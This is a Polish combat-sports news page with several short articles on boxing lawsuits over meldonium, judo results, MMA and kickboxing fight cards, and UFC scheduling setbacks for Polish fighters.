Na szumnych zapowiedziach się skończyło. Wilder i Powietkin nie spotkali się na ringu w Moskwie, ale musieli wyrównać rachunki. W tym przypadku poszkodowany, a zarazem wygrany był Amerykanin. Ale teraz ruch może wykonać druga strona.

Kasa dla Wildera

Kilka dni temu informowaliśmy, że sprawa niedoszłej walki Wildera z Powietkinem znajdzie swój finał na sali sądowej. Mistrz świata WBC spędził wiele godzin na sali treningowej z myślą o majowej walce z popularnym „Saszą”. Nie spodziewał się, że pojedynek zostanie odwołany z powodu stosowania przez rywala meldonium. Do Rosjanina przylgnęła łatka dopingowicza i trudno było go tłumaczyć. Trzy kwietniowe badania dały wynik negatywny, jednak próbka pobrana 27 kwietnia wskazywała na obecność niedozwolonych środków.

Można stwierdzić, że 37-latek urodzony w Kursku dostarczył sobie kłopotów, jednak, jak pokazała przyszłość, nic sobie z tego nie zrobił. Miał walczyć z Bermane Stivernem, ale po raz kolejny w tle pojawiły się problemy dopingowe. W grudniu Rosjanin wszedł do ringu, jednak walczył z Johannem Duhaupasem. Pojedynek zakończył się triumfem byłego mistrza WBA.

Powietkin znalazł się na ustach wszystkich. Coraz więcej osób zastanawia się, jaka będzie przyszłość rosyjskiego pięściarza. Dopingowe wpadki Powietkina stały się przyczynkiem do jego kolejnych problemów. Obóz Deontaya Wildera wytoczył sprawę cywilną przeciw ekipie Aleksandra Powietkina. Mistrz świata WBC wobec poniesionych strat chciał otrzymać rekompensatę finansową.

Czy Powietkin odwoła się?

Nowojorski sąd z bliska przyjrzał się sprawie i zdecydował, że promotor Rosjanina Andriej Riabiński musi wypłacić mistrzowi świata WBC 4,5 milionów dolarów za niedoszłą walkę.

Linia obrony Powietkina zwraca uwagę, że pięściarz stosował meldonium, ale… we wrześniu 2015 roku, kiedy specyfik był dozwolony. Przypomnijmy, substancja na liście zakazanych znalazła się wraz z początkiem 2016 roku. Meldonium stało się powodem kłopotów wielu sportowców. Wracając do Powietkina, obóz Rosjanina ma prawo odwołać się od wyroku sądu. Warto dodać, że wymiar sprawiedliwości nie miał wątpliwości, co do stosowania specyfiku przez rosyjskiego boksera.

Co ciekawe, w sierpniu ubiegłego roku WBC wydało oświadczenie w sprawie Powietkina. Zdaniem organizacji, trudno udowodnić, że pięściarz zażył meldonium po 1 stycznia 2016 roku. Ciekawe, czy ponownie będziemy mieli do czynienia z telenowelą w wadze ciężkiej. W ubiegłym roku byliśmy świadkami wielowątkowego serialu z Tysonem Fury'm w roli głównej. Zapowiada się powtórka z rozrywki? 

KM

15-letnia Nikola najlepsza we Włoszech

Włoska Follonica okazała się wyjątkowa dla Nikoli Szlachty (44kg). 15-latka wygrała zawody Pucharu Europy w judo. Z kolei w turnieju Grand Slam w Paryżu wystąpiła tylko Arleta Podolak (57kg). Drużynowa mistrzyni Europy szybko pożegnała się z rywalizacją.

Na talenty trzeba chuchać i dmuchać, zapewniając im przy tym jak najlepsze warunki do rozwoju. Warto pamiętać, że nie cierpimy na nadmiar mistrzów, więc młode perełki stanowią ogromny kapitał.

Rosjanie panują

Często patrzmy na to, co jest na pierwszym planie, czyli na rywalizację seniorską. Myśląc o przyszłości warto odnieść się do startów młodszych zawodników. W ostatni weekend odbyła się rywalizacja w Pucharze Europy w judo we włoskim mieście Follonica. Powiedzieć, że Rosjanie zdominowali cały turniej to jakby nic nie powiedzieć. Reprezentanci Sbornej zmietli wszystkich i pokazali zdecydowanie, kto rozdaje karty i za kilka lat może władać na tatami. Należy wziąć poprawkę, że mówimy o zmaganiach na Starym Kontynencie, a nie na świecie. Wracając do Włoch, Rosjanie wywalczyli aż 26 medali! Byli w tym względzie lepsi od Italii o 17 krążków! 

Warto podkreślić, że w rywalizacji męskiej Rosjanom uciekło złoto w kategorii 50kg. W finale Csanda Feczko z Węgier pokonał Georiego Tretiakova. Wśród pań triumfowała tylko jedno Rosjanka. Glafira Borisova wygrała zmagania w 40kg.

Nas cieszy bardzo dobry występ Nikoli Szlachty (44kg), dla której zwycięstwo we Włoszech jest najważniejszym dokonaniem w dotychczasowych startach. 15-latka wygrała cztery pojedynki i stanęła na pierwszym stopniu podium. Dobry występ Nikoli sprawił, że Polska zajęła piąte miejsce w klasyfikacji medalowej. Ale nie tylko Szlachta może być zadowolona z siebie. Dobry występ zanotowała Kinga Wolszczak (+70kg), która w zeszłym roku była trzecia podczas zawodów w Fuengiroli. We Włoszech 15-latka stoczyła cztery walki, z których wygrała dwie i zajęła piąte miejsce. Siódma była Paulina Szlachta (48kg), a na dziewiątym miejscu został sklasyfikowany Kacper Kubiak (90kg).

Nie było powtórki

Arleta Podolak (57kg) miała dobre wspomnienia z Paryża, gdzie rok temu zajęła piątą pozycję w zawodach Grand Slam. Tegorocznej wizyty w stolicy Francji nasza zawodniczka nie będzie wspominała zbyt dobrze. Lepsza od Polki okazała się Kubanka Aliuska Ojeda, która wygrała przez waza-ari. Pogromczyni Podolak zakończyła zmagania na siódmej lokacie.

Turniej w Paryżu był mocno obsadzony, bo wystartowało w nim 409 judoków. Najlepiej zaprezentowali się Japończycy, którzy zdeklasowali rywali i zdobyli aż 13 medali, w tym siedem złotych. Drudzy Koreańczycy zapisali na swoim koncie pięć krążków. Trzeci Francuzi wywalczyli 11 medali, ale tylko jedno złoto przy sześciu brązach i czterech srebrach.

Fot. judobase.org

KM

Mike Passenier przygotuje zawodniczki LFN do kolejnej gali!

Tym razem organizacja przygotowała dla swoich zawodniczek coś naprawdę wyjątkowego. Pod koniec lutego dziewczyny z LFN Team spotkają się na obozie sparingowym w Amsterdamie. Miejscem ich treningów będzie legendarny klub holenderskiej szkoły kickboksingu, który jest domem dla takich sław jak Badr Hari, Gokhan Saki, Alistair Overeem, Murthel Groenhart, Melvin Manhoef, Artur Kyshenko, czy dobrze znanej fanom LFN, Anissy Haddaoui. Obóz jest jednym z elementów przygotowań do pierwszej w tym roku gali Ladies Fight Night, którą zaplanowano na pierwszą połowę kwietnia!

Obóz treningowy Ladies Fight Night w Holandii odbędzie się w dniach 20-26 lutego. Amsterdam wybrano nie przypadkowo. Mike’s Gym to legendarny klub otwarty dla wszystkich pragnących doświadczyć treningu na światowym poziomie, w obecności mistrzów. Autorem tego projektu jest charyzmatyczny Mike Passenier. To właśnie pod okiem jego i innych wykwalifikowanych trenerów, najzdolniejsze fighterki LFN Team będą szlifować umiejętności przed planowaną w kwietniu, kolejną emocjonującą galą LFN.

Do Amsterdamu pojedzie aż 10 zawodniczek. Oprócz dziewczyn zakontraktowanych przez żeńską organizację – Katarzyna Posiadała, Judyta Rymarzak, Monika Bohn, Hanna Gujwan, Patrycja Krawczyk, Katarzyna Sadura, Sylwia Juśkiewicz oraz Katarzyna Biegajło na obóz pojadą także dwie dodatkowe zawodniczki Katarzyna Lubońska (KSW) oraz Małgorzata Dymus (Puncher Wrocław).

Pierwsza w tym roku gala Ladies Fight Night odbędzie się już na początku kwietnia w Poznaniu. Organizatorzy zdradzają, że w tym roku planują aż cztery sportowe widowiska w różnych zakątkach Polski. Więcej szczegółów wkrótce!

www.lfn.com.pl

Kotwica kontra Medyński na gali FEN 16 Warsaw Reloaded

Rok temu na FEN 11 Warsaw Time Sebastian Kotwica stoczył bardzo dobry, lecz przegrany pojedynek z Bartłomiejem Koperą. 11 marca powróci na Torwar z misją dopisania do swego rekordu kolejnego zwycięstwa. Na FEN 16 Warsaw Reloaded jego plany spróbuje pokrzyżować inny świetny prospekt, debiutujący w Fight Exclusive Night Arkadiusz Medyński.

Sebastian Kotwica (24 lata, 170 cm, 7-2, 5 KO, 1 SUB) uchodzi za jeden z największych talentów polskiego MMA w wadze piórkowej. Reprezentant krakowskiej Szkoły Walki Drwala wywodzi się z zapasów – jest wielokrotnym mistrzem Polski i zdobywcą Pucharu Polski w różnych kategoriach wiekowych, reprezentował także Polskę na mistrzostwach Europy. W zawodowym MMA debiutował w listopadzie 2013 roku, a w klatkoringu FEN niespełna dwa lata później. Dla organizacji Fight Exclusive Night stoczył już dwie walki – w pierwszej na gali FEN 8 Summer Edition pod koniec pierwszej rundy duszeniem zza pleców poddał Łukasza Demczurę, w drugiej na FEN 11 Warsaw Time po zaciętym boju przegrał na punkty z Bartłomiejem Koperą. Po tej porażce ambitny wojownik z Kraśnika wyjechał na treningi w słynnej Jackson Wink Academy w Albuquerque w USA. Pobyt za oceanem przyniósł znakomite efekty  – po powrocie Kotwica w trzech kolejnych walkach trzykrotnie efektownie nokautował rywali, spędzając w ringu w sumie nieco ponad 6 minut.

Pół roku starszy Arkadiusz „Medyk” Medyński (25 lat, 170 cm, 5-1, 1 SUB) również stopniowo pnie się w górę rankingów polskiego MMA, każdą kolejną walką potwierdzając swoje nieprzeciętne umiejętności. Zawodnik Malinowski Team Żary/Żagań, podobnie jak Sebastian Kotwica, przygodę ze sportami walki rozpoczynał od zapasów, tyle że w stylu klasycznym, zdobywając wiele medali na krajowych imprezach rangi mistrzowskiej. Pierwszą zawodową walkę na zasadach MMA „Medyk” stoczył w styczniu 2013 roku, przegrywając na punkty z Krzysztofem Dobrzyńskim. To jego jedyna porażka w karierze – z pięciu kolejnych starć podopieczny trenera Pawła Malinowskiego wychodził już zwycięsko, pokonując m.in. Łukasza Kuliga i Dawida Gabarę. Na gali FEN 16 Warsaw Reloaded Arkadiusz Medyński zadebiutuje w Fight Exclusive Night.

11 marca na Torwarze kibice obejrzą jeszcze dwie inne walki w kategorii piórkowej – main eventem gali FEN 16 Warsaw Reloaded będzie starcie Kamila Łebkowskiego z Brazylijczykiem Gabrielem Silvą, a w karcie głównej znalazł się także pojedynek z udziałem Bartłomieja Kopery. W innych walkach na zasadach MMA zawalczą tego wieczora m.in. Michał Oleksiejczuk z Riccardo Nosiglią, Ireneusz Szydłowski z Pawłem Pawlakiem i w walce o pas Kamil Gniadek z Pawłem Żelazowskim, a w pojedynkach w formule K-1 wystąpią Arkadiusz Wrzosek, który zmierzy się z Arturem Bizewskim, oraz Radosław Paczuski i Marcin Szreder.

Bilety na galę FEN 16 Warsaw Reloaded już do kupienia na Eventim.pl i KupBilet.pl. Bilety VIP i zamówienia grupowe – tel. 601 877 229.

FEN

ACB 53 już 18 lutego! Znamy pełną kartę walk na galę w Olsztynie.

Jedna z najsilniejszych organizacji MMA na świecie, – ACB – wraca do stolicy Warmii i Mazur. Tym razem fani sportów walki zobaczą aż 16 pojedynków w zawodowym MMA na najwyższym poziomie. Podczas ostatniej gali kibiców w Hali Urania do czerwoności rozgrzała walka wieczoru z udziałem Adriana Zielińskiego. Nie tylko ten olsztyński zawodnik po porażce podczas poprzedniej gali ACB, będzie chciał pokazać na co naprawdę go stać. Karta drugiej olsztyńskiej gali ACB została wypełniona mocnymi nazwiskami i zgodnie z motto organizacji „Less show more fighting”, szykuje się mnóstwo zawziętych pojedynków.

W walce wieczoru zobaczymy Adriana Zielińskiego (16-5), który skrzyżuje rękawice z Rasulem Yakhyaevem (10-3-1). Polak za wszelką cenę będzie chciał wygrać i wymazać z pamięci fanów porażkę przez poddanie, na poprzedniej gali ACB w jego rodzinnym Olsztynie. Jego przeciwnik też walczył na gali ACB 46. Przypomnijmy, że pojedynek Rasula Yakhyaeva z Łukaszem Rajewskim zakończył się jako nierozstrzygnięty z uwagi na nieumyślny faul Rosjanina. Zieliński musi pamiętać, że Yakhyaev to mocny zawodnik, który 70% zwycięskich pojedynków kończył już w pierwszej rundzie!

Przed walką wieczoru widzów czeka też mocna karta główna z udziałem siedmiu Polaków. Po przerwie powraca Karol Celiński (12-6-1), dla którego będzie to debiut w organizacji ACB. Olsztynianin zmierzy się ze doświadczonym zawodnikiem, Łukaszem Parobcem (12-5-0). Dla Parobca, mieszkającego na co dzień Wielkiej Brytanii również będzie to debiut w organizacji i jednocześnie pierwsza okazja do stoczenia walki w kraju.

Na gali w Olsztynie nie mogło też zabraknąć wielkiego talentu polskiego MMA, klubowego kolegi Celińskiego – Pawła Kiełka. Młody, 21 – letni wojownik stawi czoła pochodzącemu z Angoli Arturowi Lemos. Obydwaj zawodnicy legitymują się identycznym rekordem zwycięstw i porażek a stawianie na wyrównane pojedynki to jeden z wyróżników ACB.

Organizacja zakontraktowała również niepokonanego od ostatnich czterech walk Artura Kamińskiego oraz Patryka Wołodkiewicza i Pawła Karwowskiego z klubu Berkut Arrachion Olsztyn, Rafała "Papaja" Czechowskiego z klubu Grappling Kraków i Łukasza Szczerka z Berserkers Team Stargard Szczeciński, który po kilku miesiącach od ostatniej porażki wraca z zamiarem odbudowania rekordu!

Druga gala ACB w Olsztynie będzie 4. galą tej organizacji w Polsce i 53. na świecie. W tym roku przypada 5-lecie ACB, która powstała w marcu 2012 roku i to właśnie w Polsce zorganizowała swoją pierwsza galę poza siedzibą organizacji, która mieści się w Groznym.

Gala ACB 53

Hala Urania, al. Piłsudskiego 44, Olsztyn.

Start: godz. 18:00.

Bilety dostępne na www.ticketpro.pl oraz w sieci sklepów Empik.

KARTA WALKI ACB 53

Walka wieczoru:

70 kg.: Adrian Zieliński vs. Rasul Yakhyaev

Karta główna:

84 kg: Mikhail Tsarev (31-6) vs. Jonas Billstein (17-5)

93 kg: Karol Celiński (12:6) vs. Łukasz Parobiec (12-5)

70 kg: Pawel Kielek (7-2) vs. Artur Lemos (7-2)

77 kg: Ibragim Tibilov (10-7) vs. Mindaugas Verzbickas (11:4)

66 kg: Lamberd Akhyadov (6:4) vs. Rafał Czechowski (6:3)

77 kg: Aslambek Arsamikov (4:2) vs. Łukasz Szczerek (4:2)

70 kg: Bay Ali Shaipov (2:0) vs. Artur Kamiński (5:1)

77 kg: Jokhar Duraev (2:0) vs. Patryk Wołodkiewicz (2:0)

77 kg: Umar Gaisumov (2:0) vs. Paweł Karwowski (2:0)

Karta wstępna:

66 kg: Mehdi Baydulaev (3:0) vs. Murat Aktas (5:2)

66 kg: Adlan Mamaev (1-0) vs. Bahtiyer Abdulloev (1-0)

66 kg: Mansur Arsakhanov (1-0) vs. Paweł Lisiewski (0-0)

70 kg: Musilm Abdulaev (1-0) vs. Maciej Kaliciński (2-0)

61: Dukhvaha Astamirov (1-0) vs. TBA

57: Shamil Akhmaev (1-0) vs. Kamil Unruh (0-0)

——————————————————————————

AKREDYTACJA DLA MEDIÓW

Przedstawicieli mediów zapraszamy na oficjalną ceremonię ważenia, która odbędzie się 17 lutego (piątek) o godz. 18:00 w Galerii Warmińskiej oraz na sobotnią galę. Wymagana akredytacja.

Zgłoszenia prosimy kierować na adres mailowy: filip.lewandowski@socialtigers.pl

Wyniki Gali Pałuska Kickboxing Night 3

Wyniki Gali Pałuska Kickboxing Night 3:

1. K1 67 kg Tomasz Grądzki Husarz Białystok vs Piotr Jasnoch Panzer Suwałki
zwycięzca: Piotr Jasnoch

2. K-1 74 kg Mateusz Struzik Thor Szkoła Walki Ełk vs Cezary Arcimowicz Panzer Suwałki
– zwycięzca: Cezary Arcimowicz
3. K1n 80 kg Arvydas Kryzevicius Vilkas / Litwa vs Patryk Szyszko Palestra Warszawa
– zwycięzca: Arvydas Kryzevicius                                
4. K1 68 kg Ovidijus Dirzys Impulsas / Litwa vs Szymon Dembowski Panzer Suwałki
– zwycięzca: Ovidijus Dirzys                                                     
5. K-1 73 kg Lukas Jablonskij Vilkas / Litwa vs Mateusz Gudanowski Panzer Suwałki
– zwycięzca: Lukas Jablonskij                                                    
6. F-c 91 kg Adrian Kowalkowski Fight Club Działdowo vs Tomasz Piechocki KKS Sporty Walki Poznań
– zwycięzca: Adrian Kowalkowski
7. F-c 56 kg Paulina Szewczuk SKKB Lublin vs Dorota Godzina DSF Team -X Fight Piaseczno
– zwycięzca: Dorota Godzina               
8. K1 81 kg Aleksy Zienkiewicz Fight Academy Ostrołęka vs Rafał Kamiński Panzer Suwałki
– zwycięzca: Rafał Kamiński

I Walka Wieczoru
9. F-c 81 kg Michał Ciach KKS Sporty Walki Poznań VS Robert Krasoń Tom Center
– zwycięzca: Robert Krasoń
II Walka Wieczoru                                            
10. K1 81 kg Karolis Liukaitis Otso Gym / Litwa vs Mateusz Żukowski AS Fighters Team Pisz
– zwycięzca: Karolis Liukaitis

Arbi Shamaev nowym zawodnikiem federacji FEN

Arbi Shamaev, jeden z najciekawszych zawodników MMA młodego pokolenia w Polsce, podpisał kontrakt z organizacją Fight Exclusive Night. 26-letni fighter WCA Fight Team zadebiutuje w klatkoringu FEN już 11 marca podczas gali FEN 16 Warsaw Reloaded na Torwarze.

Arbi Shamaev (26 lat, 172 cm, 8-3, 5 SUB, 1 KO) zaliczany jest do czołówki polskich zawodników kategorii piórkowej, ale w federacji Fight Exclusive Night utalentowany czeczeński wojownik wzmocni dywizję kogucią, w której dołączy do takich świetnych zawodników, jak Kamil Selwa i Piotr Olszynka.

Urodzony w Groznym, ale mieszkający obecnie w Warszawie Arbi Shamaev jest dwukrotnym mistrzem Polski w amatorskim MMA i zwycięzcą mistrzostw Polski w grapplingu. W zawodowym MMA debiutował w 2011 roku. W ciągu sześciu lat stoczył 11 walk, z który osiem wygrał (5 poddań i 1 nokaut) i trzy przegrał. Za najlepszy występ w swojej karierze podopieczny trenera Roberta Jocza uważa zwycięski pojedynek z Helsonem Henriquesem. Czeczeniec wygrywał także z takimi zawodnikami, jak Łukasz Grochowski, Białorusin Semen Tyrlya i Tomasz Zawadzki – pokonując tego ostatniego, zdobył w 2014 roku pas mistrza federacji 3F.

FEN

FEN 16 Warsaw Reloaded – oficjalny plakat

Do FEN 16 Warsaw Reloaded na Torwarze pozostały już tylko 4 tygodnie, najwyższa więc pora przedstawić oficjalny plakat drugiej w historii warszawskiej gali organizacji Fight Exclusive Night.

Przypomnijmy, że gala FEN 16 Warsaw Reloaded odbędzie się już 11 marca na Torwarze, a jej głównymi wydarzeniami będą walka wieczoru niepokonanego od blisko 4 lat Kamila "Bomby" Łebkowskiego z utalentowanym Brazylijczykiem Gabrielem "Gabito" Silvą, bratem zawodnika UFC Ericka Silvy, oraz walka o pas mistrzowski w MMA wagi półśredniej Pawła Żelazowskiego z Kamilem Gniadkiem. W klatkoringu FEN tego wieczora wystąpią także inni znakomici fighterzy MMA, jak Michał Oleksiejczuk, Bartłomiej Kopera, Paweł Pawlak, Ireneusz Szydłowski i Arbi Shamaev, oraz czołówka polskich zawodników K-1, m.in. Arkadiusz Wrzosek, Radosław Paczuski i Marcin Szreder.

Bilety na galę FEN 16 Warsaw Reloaded do kupienia na Eventim.pl (goo.gl/bM47vm) i KupBilet.pl (goo.gl/Wdw5Pz). Bilety VIP i zamówienia grupowe – tel. 601 877 229.

Pucharowe zmagania w Mysiadle

Za nami zmagania w Pucharze Polski seniorek i seniorów w judo, które odbyły się w podwarszawskim Mysiadle. Najlepiej zaprezentowali się zawodnicy GKS Czarni Bytom, którzy wywalczyli sześć medali.

Wśród startujących w Mysiadle nie brakowało mocnych nazwisk. Na tatami zaprezentował się brązowy medalista mistrzostw Europy w Kazaniu, a także mistrzynie Europy w drużynie Anna Borowska, Karolina Tałach oraz Anna Załęczna.

Faworyci nie zawiedli, choć…

Za niespodziankę należy uznać porażkę w finale kategorii 63kg Karoliny Tałach. W ubiegłym roku mistrzyni Europy w drużynie notowała dobre występy. Wygrała zawody Grand Prix w Zagrzebiu, a także zdobywała medale w Rzymie i Tallinie. W Mysiadle dwie wygrane walki dały jej finał, w którym niespodziewanie lepsza okazała się Dominika Błach. Blisko pięć lat temu o brąz Igrzysk Olimpijskich w Londynie walczył Paweł Zagrodnik. Niespełna 30-letni judoka Czarnych Bytom był faworytem do triumfu w Pucharze Polski w rywalizacji w kategorii 73kg. Wszystko układało się po myśli Zagrodnika, jednak na jego drodze w finale stanął Mateusz Garbacz i to zawodnik UMKS Żak Kielce cieszył się ze zwycięstwa w silnie obsadzonej kategorii 73kg, gdzie wystartowało 28 judoków.

W Mysiadle przypomniał o sobie Aleksander Beta (66kg), który stanął na najwyższym stopniu podium. Judoka KS Gwardii Łódź wygrał pięć walk, ale w jego kategorii zaprezentowało się zaledwie ośmiu zawodników. Piotr Kuczera rozdawał karty wśród zawodników w limicie 90kg. Brązowy medalista ubiegłorocznych mistrzostw Europy w finale uporał się z Tomaszem Szczepaniakiem z Klubu Judo AZS Opole. 

Wśród pań ze zwycięstwa cieszyła się Paula Kułaga (78kg). Brązowa medalista mistrzostw Europy U23 w finale pokonała Darię Tymann. W najcięższej kategorii najlepsza Anna Załęczna (+78kg), jednak o triumf przyszło jej toczyć bój zaledwie z… trzema rywalkami. Trzeba przyznać, że wśród pań rywalizacja była ograniczona ze względu na frekwencję. Najwięcej zawodniczek wystartowało w kategorii 63kg – 12. O zwycięstwo w 52kg rywalizowały tylko trzy judoczki.

Czarni pozostawili wszystkich w tyle

Drużynowo w Mysiadle najlepiej wypadli judocy GKS Czarni Bytom, którzy zdobyli sześć medali (po dwa każdego koloru). W tym przypadku ilość przełożyła się na jakość. Czarni wystawili 12 zawodników, czyli najwięcej spośród całej stawki. Złote medale dla Bytomia zdobyli Barbara Białas (70kg) i Ewa Konieczny (48kg).

Druga pozycja w klasyfikacji medalowej przypadła ekipie KS „Kejza Team” Rybnik, kolejne zajął WKS Śląsk Wrocław. Obie ekipy wywalczyły po dwa złota.

Na koniec garść statystyk. W Mysiadle wystartowało łącznie 25 klubów, co dało 149 zawodników. Zdecydowanie więcej było panów – 108, przy 41 paniach. Podczas Pucharu Polski w judo stoczono 213 walk. Różnica między najmłodszym a najstarszym uczestnikiem zmagań wyniosła 26 lat.

KM

Tybura musi czekać…

Marcin Tybura może mówić o prawdziwym pechu. Ostatnie dni były dla polskiego fightera pełne zawirowań, a ich finał nie jest szczęśliwy dla 31-latka. Tybura nie zaprezentuje się na gali UFC 208.

Polak miał wejść do oktagonu UFC po raz trzeci. Nie pozostaje mu nic innego jak czekać na kolejną szansę. Jedynym pocieszeniem jest to, że Tybura za niedoszłą walkę dostanie… wynagrodzenie.

Zamieszanie z rywalem

Jeszcze kilka dni temu wydawało się, że wszystko jest na dobrej drodze, żeby 11 lutego w Centrum Barclays na Brooklynie 31-latek zmierzył się z Luisem Henrique. Komisja Sportowa stanu Nowy Jork nie dopuściła do występu Brazylijczyka. Powodem takiej decyzji była operacja oczu zawodnika, która miała miejsce… blisko rok temu. Przedstawiciele komisji są niezwykle drobiazgowi i zwrócili uwagę, że z powodu infekcji Brazylijczyk może mieć powikłania zdrowotne. Decyzja zaskoczyła niemalże wszystkich. Warto wspomnieć, że od czasu operacji Luis Henrique stoczył dwie walki.

W miejsce Brazylijczyka wskoczył Justin Willis. Wydawało się, że sytuacja jest opanowana i Marcin Tybura stoczy trzecią walkę w UFC. 29-letni Amerykanin stawia pierwsze kroki w MMA. Willis starciem z Tyburą miał zadebiutować w UFC, ale swoje plany musi odłożyć na bok. Po raz kolejny Komisja Stanowa wybiła się na pierwszy plan. Tym razem zwrócono uwagę na osłabienie organizmu, które spowodowane było szybkim zbijaniem wagi przez Willisa. Jak pech, to pech. Wypada jeszcze dodać, że Tybura miał zaprezentować się w październiku na gali UFC Fight Night 97 w Manilii. Na Polaka czekał mocny Derrick Lewis. Filipińska gala została jednak… odwołana.

Jeżeli szukać jakiegokolwiek pozytywu w całej sytuacji, to należy odnieść się do finansów. Tybura ma otrzymać wynagrodzenie za niedoszłą walkę. Polak nadal czeka na kolejny pojedynek w UFC. W debiucie przegrał z Timothnym Johnsonem, który w marcu zmierzy się z Danielem Omielańczukiem. Starcie z Viktorem Pestą zakończyło się triumfem 31-letniego fightera w drugiej odsłonie.

Plany UFC

Najlepsza organizacja MMA na świecie ma bogate tegoroczne plany. Łącznie kibice będą mogli podziwiać 41 gal, w tym trzynaście pay-per-view. Czyli narzekać na nudę nie można.

W zdecydowanej większości UFC planuje rozwijać się w domu, czyli w USA. Popularność MMA stale rośnie i tamtejszy rynek daje ogromne możliwości oraz szansę zysku. Ponadto, trzy gale odbędą się w Kanadzie, Brazylii oraz na kontynencie azjatyckim. Po dwie zaplanowano w Ameryce Łacińskiej i w Australii. Z kolei pięć wydarzeń rozłoży się na Europę, Środkowy Wschód i Afrykę.

Fot. uno-per-due.blogspot.com

KM

LIVE: FEN 16 Warsaw Reloaded – Ceremonia ważenia

Zapraszamy na transmisję telewizyjną na żywo z oficjalnej ceremonii ważenia przed galą FEN 16 Warsaw Reloaded.

[kod]

FEN 16 Warsaw Reloaded Ceremonia Ważenia

FEN 16 Warsaw Reloaded Ceremonia Ważenia

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/FEN15.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/FEN15.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/FEN15.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/FEN15.livx"
},
width: 640,
height: 385,
autoplay: false,
});

Polsko-litewskie porachunki w Suwałkach

Już 11 lutego w hali OSiR w Suwałkach odbędzie się gala Pałuska Kickboxing Night 3, która zapowiada jest jako największe sportowe wydarzenie w północno-wschodniej Polsce. Chciałoby się powiedzieć „oj, się będzie działo”! Czy na pewno? O tym będziecie mogli przekonać się na antenie telewizji FighTime, która przeprowadzi transmisję z gali. 

Gala Pałuska Kickboxing Night 3 cieszy się ogromnym zainteresowaniem. W kasach zostały ostatnie wejściówki. Bilety rozchodzą się szybciej niż ciepłe bułeczki.

Mecz Polska – Litwa

Może brzmi to nieco po piłkarsku, ale sama idea stworzenia spotkania pomiędzy dwoma krajami wzbudza dodatkowe emocje. W tym starciu musi paść rozstrzygnięcie, więc zawodnicy nie będą się oszczędzać. Warto dodać, że rywalizacja odbędzie się na płaszczyźnie K-1. Kibice zobaczą cztery polsko-litewskie starcia. Zaprezentuje się w nich trzech zawodników Panzera Suwałki: Szymon Dembowski (68kg), Piotr Jasnoch (67kg) oraz Matuesz Gudanowski (73kg). Ich rywalami będą kolejno Ovidijus Dirzys, Arnoldas Paszkiavicius i Lukas Jablonskij. W czwartym pojedynku zobaczymy Patryka Szyszko (80kg) z warszawskiej Palestry, który spotka się z Arvydasem Kryzeviciusem.

Organizatorzy rozpoczęli już końcowe odliczanie. Zapewniają, że zadbali o każdy szczegół. – Wiadomo, że są elementy, nad którymi trzeba czuwać, ale spokojnie mogę powiedzieć, że praktycznie wszystko jest gotowe – podkreśla Łukasz Szczodruch, jeden z organizatorów gali Pałuska Kickboxing Night 3.

Kibice zobaczą dziesięć walk, w których wystąpi aż sześciu miejscowych zawodników. Oprócz wcześniej wspomnianych będą to: Rafał Kamiński (81kg), który zmierzy się z Aleksym Ziemkiewiczem, z kolei Cezary Arcimowicz (74kg) otworzy galę pojedynkiem z Mateuszem Struzikiem. Nie zabraknie walk w formule full contact. W Suwałkach zaprezentuje się wielokrotna medalistka mistrzostw Polski Dorota Godzina (56kg) z X Fight Piaseczno. Jej rywalką będzie Paulina Szewczuk. Galę zamknie starcie Michała Ciacha z KKS Sporty Walki Poznań z Robertem Krasoniem z Tom Center. – Cały czas będzie obecne napięcie. Na początku wystąpią mniej znani zawodnicy, ale doskonale znani kibicom z Suwałk, więc atmosfera powinna być gorąca. Im dalej, tym mocje będą rosły – zapewnia Szczodruch.

Czas na finał

Przygotowanie gali to nie lada wyzwanie. Organizatorzy muszą podjąć ogromny wysiłek i wszystkiego dopilnować. Zwieńczeniem ciężkiej pracy ma być efektowna gala. – Przygotowania rozpoczęliśmy około pół roku temu. Mocno ruszyliśmy trzy miesiące temu i cały czas nad wszystkim czuwamy. Teraz czekamy na efekt. Cieszymy się, że praktycznie wszystkie bilety zostały sprzedane. Zostało jeszcze około 80 wejściówek – tłumaczy organizator gali Pałuska Kicbboxing Night.

Zebrani w hali OSiR będą ściskać kciuki za zawodników Panzera. – Chcę, żeby nasi podopieczni dali z siebie wszystko. Jeśli zostawią serce na ringu, to będę z nich zadowolony – mówi Szczodruch.

Początek gali o 20.00.

KM

Omielańczuk czysty jak łza

W ubiegłym roku w organizmie Daniela Omielańczuka wykryto meldonium. Zawodnik UFC podkreślał, że stosował środek we wrześniu 2015 roku, kiedy specyfik nie był zakazany. W końcu Amerykańska Komisja Antydopingowa uwolniła polskiego zawodnika wagi ciężkiego od zarzutu stosowania niedozwolonej substancji.

Meldonium stało się przekleństwem wielu sportowców. Jeszcze w 2015 mogli je stosować w celach leczniczych, jednak wraz z dniem 1 stycznia 2016 roku wpisano je na listę środków zakazanych. Bohaterką największej afery związanej ze stosowaniem meldonium była tenisistka Maria Szarapowa. Problemy dotknęły również reprezentującego Polską zapaśnika Magomedmurada Gadżijewa, którego występ na Igrzyskach Olimpijskich w Rio de Janeiro stanął pod znakiem zapytania. Ostatecznie mistrz Europy pojechał do Brazylii. W lipcu ubiegłego roku gruchnęła wiadomość, że specyfik stosował Daniel Omielańczuk.

Od początku pewny swego

Od początku sprawy 34-letni zawodnik zachowywał spokój, choć zapewne nie było to łatwe. Omielańczuk ze szczegółami podawał, kiedy przyjmował meldonium i w jakim celu. Wynik pozytywny dała próbka B z 21 stycznia 2016 roku, a więc trzy tygodnie po wpisaniu substancji na listę zakazanych. – Zawsze sprawdzamy wszystkie środki i leki pod kątem substancji zakazanych. Zawsze chętnie i z czystym sumieniem poddaję się kontroli antydopingowej. W pełni popieram politykę antydopingową UFC i USADA i cieszę się, że próbuje się wyrzucić oszustów z naszego sportu. Sam jednak nie mam sobie nic do zarzucenia, ponieważ miałem medyczne uzasadnienie do przyjmowania legalnego wówczas środka – tłumaczył wtedy zawodnik. 

Cała sytuacja nie miała wpływu na karierę 34-letniego fighter, który 13 lipca na UFC Fight Night 91 pokonał mocnego Alexeya Olejnika. Było to trzecie zwycięstwo z rzędu Omielańczuka, a czwarte podczas przygody z UFC. W kolejnym starciu Polak przegrał ze Stefanem Struve.

